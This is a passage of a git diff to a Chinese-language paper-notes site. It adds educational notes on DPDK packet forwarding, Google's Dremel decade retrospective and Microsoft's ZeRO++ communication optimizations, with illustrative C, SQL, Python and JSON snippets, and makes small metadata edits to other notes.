+        for (uint16_t i = 0; i < nb_rx; i++) {
+            struct rte_mbuf *m = bufs[i];
+            /* 读 L2 头示例：以太网目的 MAC 在 buf_addr + data_off */
+            struct rte_ether_hdr *eth =
+                rte_pktmbuf_mtod(m, struct rte_ether_hdr *);
+            (void)eth; /* 实际应用：ACL、meter、改写 TTL… */
+        }
+
+        /* 简易 L2 转发：从 port 0 收到，从 port 1 发出 */
+        const uint16_t dst_port = (portid + 1) % nb_ports;
+        uint16_t nb_tx = 0;
+        while (nb_tx < nb_rx) {
+            uint16_t sent = rte_eth_tx_burst(dst_port, queueid,
+                &bufs[nb_tx], nb_rx - nb_tx);
+            nb_tx += sent;
+        }
+
+        /* 未发完的 mbuf 必须释放，否则泄漏 pool */
+        if (unlikely(nb_tx < nb_rx)) {
+            for (uint16_t i = nb_tx; i < nb_rx; i++)
+                rte_pktmbuf_free(bufs[i]);
+        }
+    }
+    return 0;
+}
+```
+
+注意 `rte_eth_tx_burst()` **可能一次发不完**——网卡 TX ring 满时要重试或释放未发送的 mbuf。生产代码还会统计 `imissed`、`ierrors`、做 QoS 限速。
+
+## Pipeline 模型补充：rte_ring 传递 mbuf
+
+当单核跑不完复杂逻辑时，RX 核只做「收包入队」：
+
+```c
+struct rte_ring *ring = rte_ring_create("RX_TO_WORKER",
+    4096, rte_socket_id(), RING_F_SP_ENQ | RING_F_SC_DEQ);
+
+/* RX lcore */
+uint16_t n = rte_eth_rx_burst(port, q, bufs, BURST_SIZE);
+rte_ring_sp_enqueue_bulk(ring, (void **)bufs, n, NULL);
+
+/* Worker lcore */
+uint16_t m = rte_ring_sc_dequeue_burst(ring, (void **)bufs, BURST_SIZE, NULL);
+/* …处理后再 tx_burst 或转发到下一级 ring… */
+```
+
+`SP`/`SC`（单生产者单消费者）模式最快；多 worker 时用默认 MP/MC 模式。
+
+## 与内核栈、XDP、io_uring 的对比
+
+| 维度 | 内核网络栈 | DPDK PMD | Linux XDP | io_uring（网络扩展） |
+|------|-----------|----------|-----------|---------------------|
+| 运行态 | 内核 | 用户态 | 内核最早 hook | 用户态提交、内核执行 |
+| 触发方式 | 中断驱动为主 | 轮询为主 | 可中断可 busy-poll | 事件驱动 |
+| API 风格 | socket | `rte_eth_*` burst | BPF + redirect | 环形队列 |
+| 隔离性 | 进程间强隔离 | 需信任应用 | 有 verifier | 依赖内核 |
+| 典型场景 | 通用服务器 | NFV/网关/UPF | 可编程早期过滤 | 通用异步 IO |
+
+eBPF/XDP 适合「在现有栈里加可编程钩子」；DPDK 适合「**整块数据面搬出内核**换极致吞吐」。二者也常组合：XDP 做早期丢弃，DPDK 做 heavy forwarding。
+
+## 部署与运维要点
+
+1. **CPU 隔离**：`isolcpus` + `taskset` 或 cgroup cpuset，防止 Linux 调度器把其他进程塞进 DPDK 核。
+2. **大页预留**：容器里跑 DPDK 需挂载 hugepage volume（K8s `emptyDir medium: HugePages`）。
+3. **VFIO 而非 UIO**：现代部署优先 `vfio-pci`，IOMMU 隔离更安全。
+4. **链路状态**：PMD 对链路 up/down 可能用中断回调；数据面仍是 poll。
+5. **功耗**：纯 poll 空转费电；低流量时可切 **interrupt mode** 或 **rte_power** 降频（有性能代价）。
+
+## 生态与后续影响
+
+2014 briefing 发布时，DPDK 主要由 Intel 主导，驱动覆盖 1G/10G/40G；如今（DPDK 26.x）已演进为 **Linux Foundation 开源项目**，驱动涵盖 mlx5、AWS ENA、virtio-user、crypto、eventdev、GPU DMA 等。
+
+下游项目：
+
+- **OVS-DPDK** / **VPP** — 开源虚拟交换与路由；
+- **SPDK** — 同一套 EAL + hugepage 思路用于 NVMe 存储；
+- **FD.io VPP、Open vSwitch、TRex** 流量发生器；
+- 云厂商 **智能网卡（SmartNIC）** 把部分 PMD 逻辑下沉硬件。
+
+学术上，IX（OSDI'14）用 DPDK 做数据面、Arrakis 强调控制面分离、Demikernel 统一 RDMA/DPDK——**「用户态数据面 + 内核控制面」** 成为数据中心共识。
+
+## 学习路径建议
+
+1. 读官方 [DPDK Programmer's Guide — Overview](https://doc.dpdk.org/guides/prog_guide/overview.html) 与 [Poll Mode Driver](https://doc.dpdk.org/guides/prog_guide/poll_mode_drv.html)。
+2. 跑通 `dpdk/examples/l2fwd` 与 `rxtx_callbacks`，用 `testpmd` 熟悉 burst 与 offload 标志位。
+3. 用 `perf` / `rte_eth_stats_get()` 观察 `ipackets`、`imissed`、`rx_nombuf`（pool 耗尽信号）。
+4. 读 **IX、Arrakis** 笔记，理解 DPDK 在「数据面 OS」大图里的位置。
+
+## 小结
+
+DPDK 的本质不是「又一个网卡驱动」，而是一套**为用户态线速转发定制的运行时**：EAL 屏蔽 OS 差异，hugepage + mempool 消灭分配抖动，mbuf 统一报文元数据，rte_ring 连接流水线各段，PMD 用 **burst poll** 把 PCIe 与 CPU cache 喂饱。代价是独占核心、放弃内核 socket 语义、直面 NUMA 与内存预分配——**用运维复杂度换每包纳秒级成本**，这正是 100G 时代 NFV 和云原生网关愿意买单的原因。
+
+## 参考
+
+- [High Performance Networking Leveraging DPDK (SF Summit 2014 Briefing PDF)](https://www.dpdk.org/wp-content/uploads/sites/35/2014/09/DPDK-SFSummit2014-HighPerformanceNetworkingLeveragingDPDK-Brief.pdf)
+- [DPDK Programmer's Guide — Overview](https://doc.dpdk.org/guides/prog_guide/overview.html)
+- [DPDK Poll Mode Driver Architecture](https://doc.dpdk.org/guides/prog_guide/poll_mode_drv.html)
+- [DPDK Mbuf Library](https://doc.dpdk.org/guides/prog_guide/mbuf_lib.html)
+- [DPDK Ring Library](https://doc.dpdk.org/guides/prog_guide/ring_lib.html)
+- [IX: A Protected Dataplane Operating System (OSDI'14)](/papers/ix-2014)
diff --git a/src/content/docs/papers/dpo.md b/src/content/docs/papers/dpo.md
index 2b3a4e7bd..040f112c1 100644
--- a/src/content/docs/papers/dpo.md
+++ b/src/content/docs/papers/dpo.md
@@ -2,7 +2,7 @@
 title: 'DPO — Direct Preference Optimization'
 来源: 'Rafailov et al., "Direct Preference Optimization: Your Language Model is Secretly a Reward Model", NeurIPS 2023'
 日期: 2026-05-29
-子分类: NLP
+子分类: ml
 分类: NLP
 难度: 中级
 schema_version: legacy-short
diff --git a/src/content/docs/papers/dqn.md b/src/content/docs/papers/dqn.md
index c8f04634d..b6257263e 100644
--- a/src/content/docs/papers/dqn.md
+++ b/src/content/docs/papers/dqn.md
@@ -149,6 +149,7 @@ DeepMind 2017 发表 Rainbow——把 DQN 之后 5 项改进（Double DQN / Duel
 - [[fsrs-spaced-repetition]] —— FSRS — 让 Anki 知道每张卡什么时候快被你忘掉
 - [[muzero]] —— MuZero — 不用规则也能下棋
 - [[ppo]] —— PPO — Proximal Policy Optimization
+- [[ray-2018]] —— Ray — 面向新兴 AI 应用的分布式框架
 - [[scaling-laws]] —— Scaling Laws — 神经语言模型的缩放规律
 - [[td3-2018]] —— TD3 — 给 DDPG 装两副刹车，连续控制终于稳了
 
diff --git a/src/content/docs/papers/dremel-decade-2020.md b/src/content/docs/papers/dremel-decade-2020.md
new file mode 100644
index 000000000..005cd4919
--- /dev/null
+++ b/src/content/docs/papers/dremel-decade-2020.md
@@ -0,0 +1,314 @@
+---
+title: Dremel 十年回顾 — Web 规模交互式 SQL 分析如何演化为 BigQuery
+来源: https://research.google/pubs/dremel-a-decade-of-interactive-sql-analysis-at-web-scale/
+日期: 2026-06-13
+子分类: 存储与查询
+分类: 数据库
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：从「单位档案室」到「全城公共查询台」
+
+想象你所在的城市要统计**所有市民的网购行为**——订单、商品、收货地址、嵌套在订单里的每一行 SKU，数据量相当于把全市档案堆成山。
+
+2010 年之前的 Google 内部，主流做法是：
+
+- 数据塞进 **MapReduce**，写 Java/C++ 批处理作业；
+- 大家心里默认：**「SQL 撑不住 Web 规模」**，交互式分析要么等 overnight job，要么写 Sawzall 这类专用语言。
+
+**Dremel**（2006 年立项，2010 年 VLDB 论文公开）像在城市里建了一座**公共查询台**：分析师写一句 SQL，秒级到分钟级拿到聚合结果，不必先 ETL 进传统数仓。**这篇 2020 回顾论文**（PVLDB, pp. 3461–3472，Melnik 等原班作者）回答的是：十年过去，当初哪些设计押对了行业方向？哪些在演进中换了引擎？它们如何沉淀为 **Google BigQuery**？
+
+类比延伸：
+
+| 日常场景 | Dremel / BigQuery 对应 |
+|----------|------------------------|
+| 档案存在各分局，查一次搬一次 | **存算分离**：数据在 Colossus/GCS，算力按需租用 |
+| 书在架上就能借，不必先复印进阅览室 | **In situ 分析**：数据湖上多引擎共享同一份列式文件 |
+| 图书馆按「借书位」计费，不用包下整栋楼 | **Serverless**：slot 虚拟调度单元，多租户按查询付费 |
+| 嵌套目录（卷→章→节）仍可按「节标题」检索 | **嵌套列存**：repetition / definition level 编码 |
+
+---
+
+## 这篇论文是什么
+
+**类型**：系统架构回顾（retrospective），不是全新算法论文。
+
+**时间线锚点**：
+
+- **2010**：*Dremel: Interactive Analysis of Web-Scale Datasets* — 多层执行树 + 嵌套列存 + 扩展 SQL；
+- **2014 前后**：存储迁移到 **Capacitor** 列式格式；shuffle 基础设施重构；
+- **2020**：本文总结五条架构原则如何成为云原生分析系统「标配」，并描述向 **BigQuery** 的演化路径。
+
+**作者核心论断**：Dremel 是较早把 **SQL、存算分离、原地分析、Serverless、嵌套列存** 五条线捆在一起量产的系统；十年后的 Snowflake、Presto/Trino、Spark SQL、ClickHouse 云版都在不同程度上复现了这套组合。
+
+---
+
+## 2010 年的问题：为什么需要 Dremel
+
+Google 内部数据几乎全是 **Protocol Buffers** 嵌套结构：日志、广告点击、网页索引元数据。MapReduce 能 scale，但：
+
+1. **开发成本高**：每个 ad hoc 问题都要写分布式 job；
+2. **交互延迟 unacceptable**：分析师等批处理排期，迭代慢；
+3. **嵌套数据与 SQL 割裂**：传统数仓要 flatten + ETL， schema 一变 pipeline 就断。
+
+Dremel 的赌注：**用 SQL 直接查嵌套只读数据**，通过列式布局 + 分布式 serving tree 把聚合压到秒级。Franklin 在 2010 评论里预言「万亿行 soon 会普及」——回顾论文证实这条曲线已被 BigQuery 外部客户反复验证。
+
+---
+
+## 五条经受住时间考验的架构原则
+
+### 1. SQL 重新成为大数据 API
+
+2010 年业界流行「SQL is dead for interactive analytics」。Dremel 用扩展 SQL（点号访问嵌套字段、`RECORD` 类型）证明：**声明式查询 + 优化器** 仍是最低摩擦接口。后续 Dremel SQL 方言逐步 **ANSI 化**，并通过开源库共享给 **Cloud Spanner** 等产品。
+
+**演进**：早期刻意**弱化 join**（依赖 protobuf 反规范化）；后期 BigQuery 补齐分布式 join、子查询、窗口函数，并引入基于新 shuffle 层的 **shuffle join**。
+
+### 2. 存算分离（Disaggregated Storage & Compute）
+
+最初 Dremel 是 **shared-nothing**：计算与本地磁盘绑定。迁移到 **GFS**（后 **Colossus**）后，性能一度下降；经 I/O 合并、本地缓存、预读调优后，分离架构在**弹性**与**成本**上反超本地盘方案。
+
+收益：
+
+- 存储与计算**独立扩缩**；
+- 同一份数据可被 MapReduce、Dremel、其他引擎**并发读取**；
+- 故障域分离：坏盘不拖垮整个计算池。
+
+### 3. In situ 分析（数据湖范式先驱）
+
+Dremel 把列式格式开放为 Google 内部库，具备两大属性：
+
+- **Columnar**：分析型扫描友好；
+- **Self-describing**：文件自带 schema，无需先 load 进专有数仓。
+
+MapReduce job 可写列式结果，Dremel **立刻** SQL 查询——这就是现代 **data lake + multiple compute engines** 的原型。BigQuery 后来支持 Bigtable、Cloud Storage、Google Drive 等作为 join 外表。
+
+### 4. Serverless 多租户分析
+
+从一开始 Dremel 就是**全托管内部服务**：无 upfront 容量规划，**按用量计费**。要支撑数千内部用户、亚秒到秒级交互，必须：
+
+- **Disaggregation**：算力、存储、内存独立伸缩；
+- **Fault tolerance & restartability**：子任务确定性可重放；调度器可派发同一 task 的多个副本；
+- **Virtual Scheduling Units（slots）**：调度逻辑不绑定具体机器型号，抽象为 slot（CPU+内存配额）；
+- **Centralized scheduling**：取代 2010 论文的 leaf dispatcher，由 **query coordinator** 统一编排，提升隔离与利用率。
+
+这些能力直接移植到 **BigQuery** 的 serverless 模型。
+
+### 5. 嵌套数据的列式存储
+
+传统列存假设 flat 表。Dremel 引入 **repetition level** 与 **definition level**，把嵌套/重复结构信息**编码进每一列**，读子字段时不必回溯祖先列。
+
+2014 年存储层升级到 **Capacitor**（改进的嵌套列式格式），影响后续 **Parquet** 等生态（嵌套模型与 Dremel 论文一脉相承）。
+
+---
+
+## 核心机制详解
+
+### Repetition Level 与 Definition Level
+
+以嵌套记录 `Name.Language.Code` 为例（一人多种语言，每种语言多个 code）：
+
+- **Repetition level**：当前值相对路径上，**哪一层 repeated 字段**开始了新数组元素（0 表示新 top-level 记录）；
+- **Definition level**：当前值相对路径上，**有多少 optional/required 祖先已定义**（NULL 用 definition level 小于最大深度表示）。
+
+这样任意列可**单独解码**，无需读取兄弟列——对列投影（只读 `Code`）至关重要。
+
+### 多层 Serving 执行树（2010 设计）
+
+```
+Client → Root Server → Intermediate Servers → Leaf Servers（读 Colossus 列块）
+                ↑__________________|  聚合结果向上归并
+```
+
+Leaf 扫描列块、局部聚合；中间层继续聚合；根返回最终结果。2010 论文强调 **one-pass aggregation** 为主路径——与分析师 workload 匹配。
+
+### 十年后的执行层演化（2020 回顾重点）
+
+| 2010 | 2020 / BigQuery |
+|------|-----------------|
+| Leaf 本地 dispatcher | **Centralized query coordinator** |
+| 执行计划相对静态 | **Dynamic execution plan**：基数估计错了可在运行时改 plan |
+| Shuffle 与 stage 紧耦合 | **Shuffle persistence layer**（基于 Colossus）：stage 解耦，可 checkpoint、抢占 worker |
+| 固定 DAG | **Flexible execution DAG evolution** |
+
+Shuffle 曾是 MapReduce 时代最贵操作之一；Dremel 团队用 Colossus 构建**持久化 shuffle 层**，使调度器能在 checkpoint 处重新分配 worker，支撑**抢占式多租户**与**更细粒度 fault recovery**。
+
+### 查询优化
+
+Dremel 采用**分层优化器**：规则重写 + 代价模型结合，针对嵌套列存与 serving tree 生成计划。回顾论文强调：在 disaggregated 架构下，**I/O 与 shuffle 代价模型**与 classic warehouse 不同——网络与 Colossus 读放大成为主导项。
+
+---
+
+## 代码示例 1：Dremel 风格 SQL 查询嵌套 protobuf 数据
+
+以下语法贴近 2010/2020 论文中的 **nested SQL** 示例（概念演示，非特定产品方言）：
+
+```sql
+-- 统计每个国家、每种语言下，被访问过的 URL 数量
+SELECT
+  Name.Country,
+  lang.code AS language_code,
+  COUNT(DISTINCT visits.url) AS distinct_urls
+FROM
+  table `logs.web_access` AS t,
+  UNNEST(t.Name.Language) AS lang,
+  UNNEST(t.Visits) AS visits
+WHERE
+  visits.date BETWEEN '2020-01-01' AND '2020-01-31'
+  AND visits.status = 200
+GROUP BY
+  Name.Country,
+  language_code
+ORDER BY
+  distinct_urls DESC
+LIMIT 100;
+```
+
+要点：
+
+- **`Name.Language`** 是 repeated nested field，需 `UNNEST` 展开（现代 BigQuery 语法；2010 论文用点号与特殊聚合语法表达同类语义）；
+- 查询**只读**嵌套列存文件，无需事先 flatten 成星型模式；
+- 优化器可下推 `WHERE visits.status = 200` 到 leaf，利用列块 **zone map / 统计信息** 跳过无关 row group。
+
+---
+
+## 代码示例 2：Repetition / Definition Level 编码（简化示意）
+
+假设 schema：
+
+```text
+message Person {
+  required string Name;
+  repeated Phone { optional string Number; }
+}
+```
+
+两条记录：
+
+```text
+{Name: "Alice", Phone: [{Number: "111"}, {Number: "222"}]}
+{Name: "Bob",   Phone: [{Number: null}]}
+```
+
+`Phone.Number` 列在 Dremel 编码中可能类似（值 + rep + def）：
+
+```python
+# 伪代码：展示三列并行数组如何表示嵌套 NULL 与 repeated
+values = ["111", "222", None, "Bob端无有效号码时仍占位"]
+repetition_levels = [1, 1, 0, 1]   # 1=新 Phone 元素, 0=新 Person
+definition_levels = [2, 2, 1, 1]   # Phone 存在但 Number 为 NULL 时 def 较低
+
+def decode_phone_numbers(values, rep, defn, max_def=2):
+    """从单列还原当前 Person 下的 Number 列表（教学用简化解码器）"""
+    numbers = []
+    current = []
+    for v, r, d in zip(values, rep, defn):
+        if r == 0:
+            if current:
+                numbers.append(current)
+            current = []
+        if d == max_def:
+            current.append(v)
+        elif d > 0:
+            current.append(None)  # optional 未定义
+    if current:
+        numbers.append(current)
+    return numbers
+
+# decode 结果示意: [["111","222"], [None]]
+```
+
+**为什么重要**：分析查询常只读 `Phone.Number` 一列；rep/def 让引擎**无需读 `Name` 或 `Phone` 的其他子列**即可重建嵌套结构，并与列压缩（RLE、字典编码）叠加。
+
+---
+
+## 代码示例 3：Serverless Slot 调度（概念伪代码）
+
+回顾论文强调 **slot** 抽象如何支撑多租户 serverless：
+
+```python
+class QueryCoordinator:
+    def __init__(self, slot_pool: SlotPool):
+        self.slots = slot_pool  # 全局虚拟 CPU+内存单元，非绑定具体 VM
+
+    def execute(self, query_plan: ExecutionDAG):
+        root = query_plan.root_stage()
+        # 中心化调度：按 stage 向 slot_pool 申请 workers
+        while not query_plan.done():
+            stage = query_plan.next_ready_stage()
+            slots_needed = stage.estimate_slots(cardinality=stage.stats)
+            workers = self.slots.acquire(
+                count=slots_needed,
+                priority=query_plan.tenant_fairness_weight,
+            )
+            # shuffle 中间结果持久化到 Colossus，便于抢占与重试
+            handles = [
+                w.run_deterministic(stage, shuffle_sink=ColossusShuffle())
+                for w in workers
+            ]
+            stage_result = self.wait_and_merge(handles, allow_speculative_dup=True)
+            query_plan.mark_complete(stage, stage_result)
+            self.slots.release(workers)
+        return query_plan.final_result()
+```
+
+与 2010 leaf dispatcher 相比：**调度决策集中**、**shuffle 可持久化**、**任务确定性可重放**——三者共同支撑 BigQuery 式「提交查询即走，无需告诉系统你要多少台机器」。
+
+---
+
+## 与 2010 原论文的对照阅读
+
+| 主题 | 2010 原论文 | 2020 十年回顾 |
+|------|-------------|---------------|
+| 存储位置 | 本地盘 → 正在迁 GFS | Colossus + Capacitor 成熟 |
+| Join | 基本回避 | 分布式 shuffle join |
+| 调度 | Leaf dispatcher | Central coordinator + slots |
+| 产品形态 | Google 内部服务 | BigQuery 对外 Serverless |
+| 行业语境 | SQL 式微 | SQL 一统数据平台 API |
+
+零基础读者建议：**先读 2020 回顾建立地图，再读 2010 原论文看 serving tree 与 rep/def 细节**。
+
+---
+
+## 对现代数据栈的影响
+
+1. **BigQuery** 直接 lineage 自 Dremel；
+2. **Parquet / Arrow** 嵌套模型与 rep/def 思想可追溯至 Dremel 2010；
+3. **Snowflake、Redshift Spectrum、Athena** 等「对象存储 + 弹性计算 + SQL」_triad_ 与本文五条原则同构；
+4. **Lakehouse**（Delta/Iceberg + 多引擎）是 in situ 分析的工业化版本；
+5. **「SQL doesn't scale」** 作为 2000 年代迷思，被 Dremel 系列论文系统性反驳。
+
+---
+
+## 局限与未竟之处
+
+回顾论文也诚实提到：
+
+- **超大 join** 仍是研究与工程热点；shuffle join 依赖内部网络优化，不完全可移植；
+- **Disaggregated 存储** 对极短查询仍可能 I/O 放大，需 aggressive caching；
+- **多引擎写同一 data lake** 时的 **schema 演化、ACID 表格式** 在 2020 时仍靠外部系统（Iceberg 等）补齐；
+- 内部细节（Capacitor 精确布局、slot 定价模型）在公开论文中着墨有限。
+
+---
+
+## 自测清单（零基础）
+
+1. 用一句话向同事解释：**Dremel 2020 回顾论文在讲什么？**（答案方向：架构原则十年验证 + BigQuery 演化。）
+2. **存算分离** 相比本地盘 shared-nothing 的两个优点、一个代价？
+3. **Repetition level** 与 **definition level** 分别解决什么问题？
+4. 为什么说 Dremel 是 **data lake in situ 分析** 的早期实例？
+5. **Slot** 调度与 2010 leaf dispatcher 的核心区别？
+
+---
+
+## 延伸阅读
+
+- Melnik et al., *Dremel: Interactive Analysis of Web-Scale Datasets*, VLDB 2010 — 原始系统设计。
+- Seattle Report on Database Research — 2020 回顾引用的行业趋势框架。
+- 本仓库笔记：[列式存储格式实证评估](./columnar-storage-formats-2023.md)、[Lakehouse](./lakehouse-2021.md) — 与嵌套列存、湖仓范式衔接。
+- Google Research 原文：https://research.google/pubs/dremel-a-decade-of-interactive-sql-analysis-at-web-scale/
+
+---
+
+## 一句话总结
+
+**Dremel 十年回顾** 不是新算法炫耀，而是一份「架构预言书」的验收报告：SQL、存算分离、原地列式分析、Serverless 多租户与嵌套列存——这五条在 2010 年捆绑出现在 Google 内部查询引擎里，十年后被 BigQuery 与整个云分析行业证明为**默认正确选项**；理解它，等于理解现代「写 SQL 查对象存储上的 PB 级嵌套数据」从何而来。
diff --git a/src/content/docs/papers/dropout-2014.md b/src/content/docs/papers/dropout-2014.md
index 0ff795a58..0c4ba94a9 100644
--- a/src/content/docs/papers/dropout-2014.md
+++ b/src/content/docs/papers/dropout-2014.md
@@ -2,7 +2,7 @@
 title: Dropout — 训练时随机关掉一半神经元，反而学得更好
 来源: 'Srivastava, Hinton, Krizhevsky, Sutskever, Salakhutdinov, "Dropout: A Simple Way to Prevent Neural Networks from Overfitting", JMLR 2014'
 日期: 2026-06-01
-子分类: 模型与训练
+子分类: ml
 分类: 机器学习
 难度: 入门
 provenance: pipeline-v3
diff --git a/src/content/docs/papers/ds-zero-pp-comm.md b/src/content/docs/papers/ds-zero-pp-comm.md
new file mode 100644
index 000000000..0f0f21929
--- /dev/null
+++ b/src/content/docs/papers/ds-zero-pp-comm.md
@@ -0,0 +1,351 @@
+---
+title: ZeRO++ — 巨型模型训练中的极致高效集合通信
+来源: https://arxiv.org/abs/2306.10209
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：分布式拼乐高 vs 快递费
+
+想象你和 512 个同学要一起拼一座**巨型乐高城堡**（训练 100B+ 参数的大模型）：
+
+- 每人只保管城堡的一小块零件（**ZeRO-3 参数分片**），需要某层积木时，全班**临时凑齐**那一层再开工（**all-gather 权重**）。
+- 每层拼完，大家还要把「哪里拼错了」汇总成一份修正清单（**reduce-scatter 梯度**）。
+
+在**同教室**（单节点 NVLink）里，喊一嗓子就能传积木——很快。  
+一旦同学分散在**不同城市**（跨节点 InfiniBand / 以太网），每次凑积木都要发**整层 FP16 权重**的快递——带宽一窄，或每人 batch 很小（算得慢、等快递久），训练吞吐立刻被通信拖死。
+
+Microsoft DeepSpeed 团队在 ICLR 2024 发表的 **ZeRO++**（[arXiv:2306.10209](https://arxiv.org/abs/2306.10209)）做的事，相当于给这套协作流程加了三条「省钱快递规则」：
+
+1. **qwZ**：寄积木前压成 INT8 包裹（体积减半），到岸再解压。
+2. **hpZ**：每个城市留一份「次级副本」，反向传播时**只在同城凑积木**，不再跨城。
+3. **qgZ**：梯度汇总改用 INT4 + all-to-all，**先同城合并再跨城**，且**还原精度后再做加法**，避免低精度累加误差。
+
+三者叠加，跨节点通信量从 **3M 降到 0.75M**（M = 模型参数量），384 GPU 上最高约 **2.16×** 吞吐；10B–138B 模型上相对 vanilla ZeRO 最高约 **2.4×**。
+
+一句话：**ZeRO++ 不是换优化器，而是给 ZeRO-3 的三次集体通信（前向 gather、反向 gather、梯度 scatter）分别「减肥」。**
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 全称 | ZeRO++: Extremely Efficient Collective Communication for Giant Model Training |
+| 机构 | Microsoft（DeepSpeed） |
+| 会议 | ICLR 2024 |
+| 代码 | [DeepSpeed](https://github.com/deepspeedai/DeepSpeed) — `zero_quantized_weights` / `zero_hpz_partition_size` / `zero_quantized_gradients` |
+| 前置 | 必须基于 **ZeRO Stage 3**（参数分片 + 按需 all-gather） |
+| 论文 PDF | [2306.10209](https://arxiv.org/pdf/2306.10209.pdf) |
+
+ZeRO++ 是 **通信优化层**，与 [[flash-attention]]、[[liger-kernel-llm-training]] 等算子优化正交——后者减单卡计算/显存，ZeRO++ 减**多卡之间的 bytes**。
+
+---
+
+## 为什么重要
+
+### 1. ZeRO-3 的隐藏税：每步 3M 通信
+
+在 ZeRO-3 下，每个训练 step 典型有三笔「全网级」集体通信（参数量 M）：
+
+| 阶段 | 集体操作 | 通信量 |
+|------|----------|--------|
+| 前向 | 权重 all-gather | M（FP16） |
+| 反向 | 权重 all-gather | M（FP16） |
+| 反向末 | 梯度 reduce-scatter | M（FP16） |
+| **合计** | | **3M** |
+
+当 **跨节点带宽低**（云厂商常见 100–400 Gbps IB）或 **每 GPU batch 小**（大模型 + 长上下文 + 多并行维）时，GPU 大量时间在等网络，有效 TFLOPS/GPU 断崖式下跌——论文 Figure 1 在 384 GPU、512 token/GPU 时，带宽从 800Gbps 降到 100Gbps，吞吐可从 ~61 掉到 ~16 TFLOPS/GPU。
+
+### 2. 低带宽集群 ≈ 高带宽集群的「平价替代」
+
+论文实验表明：在 4× 更高带宽集群上跑 baseline ZeRO 的吞吐，ZeRO++ 在**低带宽**设置下也能接近——对预算有限、跨 AZ 训练的团队，这是直接的 TCO 杠杆。
+
+### 3. 零（或极少）改用户训练代码
+
+DeepSpeed 官方教程强调：**用户模型代码不用改**，只需 JSON 配置打开三个开关；与 Megatron-DeepSpeed、Hugging Face + DeepSpeed 集成路径兼容。
+
+---
+
+## 先懂 ZeRO-3：ZeRO++ 改的是哪三次快递
+
+```text
+ZeRO-3 单 step 通信骨架（简化）
+
+Forward:
+  对每一层 → all-gather 该层权重分片 → 本地算 forward → 释放非本地权重
+
+Backward:
+  对每一层 → all-gather 该层权重 → 本地算 backward → 本地梯度
+  最后     → reduce-scatter 聚合梯度到各 rank 的分片
+
+ZeRO++ 分别动刀：
+  qwZ  → 前向 all-gather 传 INT8
+  hpZ  → 反向 all-gather 限制在节点内
+  qgZ  → 梯度 reduce-scatter 换成 INT4 all-to-all + 高精度归约
+```
+
+ZeRO 把 optimizer states、梯度、参数都分片，消除数据并行里的冗余副本；ZeRO-3 进一步**连参数也分片**，于是每层计算前必须 gather 完整权重——这是通信量的根源。
+
+---
+
+## 核心概念
+
+### 1. qwZ — Quantized Weight Communication
+
+**问题**：前向 all-gather 要传完整 FP16 权重，占 M 中的 1M。
+
+**做法**：
+
+- 发送前：按 **block** 做对称 INT8 量化（每块独立 scale，类似分块量化 [Dettmers LLM.int8()]）。
+- 接收后：dequant 回 FP16，再算 matmul。
+- 通信量：**M → 0.5M**（50% 减少）。
+
+**为什么不能全局一把量化？** 权重动态范围大，整块量化误差高；分块后 BERT 案例量化误差约降 **3×**。论文还自研了高性能 quant/dequant CUDA kernel，并与 all-gather **流水线重叠**，避免「省带宽但算量化太慢」。
+
+分块对称 INT8 量化的核心公式（每块独立 scale `s`）：
+
+```python
+import torch
+
+def block_quantize_fp16_to_int8(w: torch.Tensor, block_size: int = 128):
+    """教学用伪代码：理解 qwZ 为何按块量化而非整 tensor 一把梭。"""
+    assert w.dtype == torch.float16
+    n = w.numel()
+    pad = (-n) % block_size
+    if pad:
+        w = torch.nn.functional.pad(w.flatten(), (0, pad))
+    blocks = w.view(-1, block_size)
+    # 对称量化：scale = max(|block|) / 127
+    scale = blocks.abs().amax(dim=1, keepdim=True).clamp(min=1e-8) / 127.0
+    q = torch.round(blocks / scale).clamp(-127, 127).to(torch.int8)
+    return q, scale  # 接收端: w_hat = q.float() * scale
+```
+
+发送端传 `(q, scale)` 的紧凑表示，接收端 dequant 回 FP16 再参与 matmul——**通信传 INT8，计算仍用 FP16**。
+
+### 2. hpZ — Hierarchical Partitioning ZeRO
+
+**问题**：反向 pass  again all-gather 权重，又跨节点传 M。
+
+**做法 — 双副本分区**：
+
+- **Primary partition**：与 ZeRO-3 相同，权重分片到**全部** GPU（world size P）。
+- **Secondary partition**：在每个**节点内**再分片一份 FP16 权重副本（secondary group size = 每节点 GPU 数，如 8）。
+
+**时间线**：
+
+1. **Forward**：仍按 primary 做**跨节点** all-gather。
+2. Forward 用完该层权重后，按 **secondary** 重新分片存放。
+3. **Backward**：只需在**节点内** all-gather secondary 副本 → **跨节点通信 = 0**。
+4. **Optimizer step**：仍按 primary 分片更新主副本。
+
+**代价**：显存上升。100B 模型、1024 GPU、secondary=16 GPU/组时，hpZ 比 ZeRO-3 多用约 **8.9×** 参数相关内存，但仍比标准 DP 全复制少 **114×**（论文 Figure 4）。
+
+配置项 `zero_hpz_partition_size`：secondary 组大小；设为**每节点 GPU 数**为典型值；=1 表示关闭 hpZ。
+
+### 3. qgZ — Quantized Gradient Communication
+
+**问题**：直接对 reduce-scatter 做 INT4/INT8 **低精度归约**会累积误差，损害收敛。
+
+**做法 — all-to-all 范式**：
+
+1. 各 rank 对本地梯度做 **block INT4 量化**。
+2. **all-to-all** 交换量化块（可 hierarchical：先节点内再节点间）。
+3. 接收方 **dequant 回 FP16**，再做 **高精度 sum**。
+4. 必要时 **tensor slice reorder** 修正 all-to-all 带来的梯度错位（论文 Figure 9）。
+
+**效果**：跨节点梯度通信 **M → 0.25M**（INT4 相对 FP16 约 4× 压缩）。相对 ring reduce-scatter，1-hop all-to-all 延迟更低；并与 intra/inter-node 通信 **pipeline + kernel fusion**。
+
+### 4. 三者合计：4× 跨节点通信
+
+| 通信点 | Baseline ZeRO-3 | ZeRO++ |
+|--------|-------------------|--------|
+| 前向权重 gather | M | **0.5M**（qwZ） |
+| 反向权重 gather | M | **0**（hpZ，节点内） |
+| 梯度 scatter | M | **0.25M**（qgZ，跨节点部分） |
+| **跨节点合计** | **3M** | **0.75M** |
+
+注意：三项收益**不完全线性相加**（论文消融说明存在 overlap 与 pipeline 交互），但方向一致。
+
+---
+
+## 代码示例 1：DeepSpeed JSON 开启 ZeRO++
+
+ZeRO++ 扩展 ZeRO-3，三个布尔/整数开关可独立或组合启用：
+
+```json
+{
+  "train_batch_size": 512,
+  "train_micro_batch_size_per_gpu": 1,
+  "gradient_accumulation_steps": 32,
+  "fp16": {
+    "enabled": true
+  },
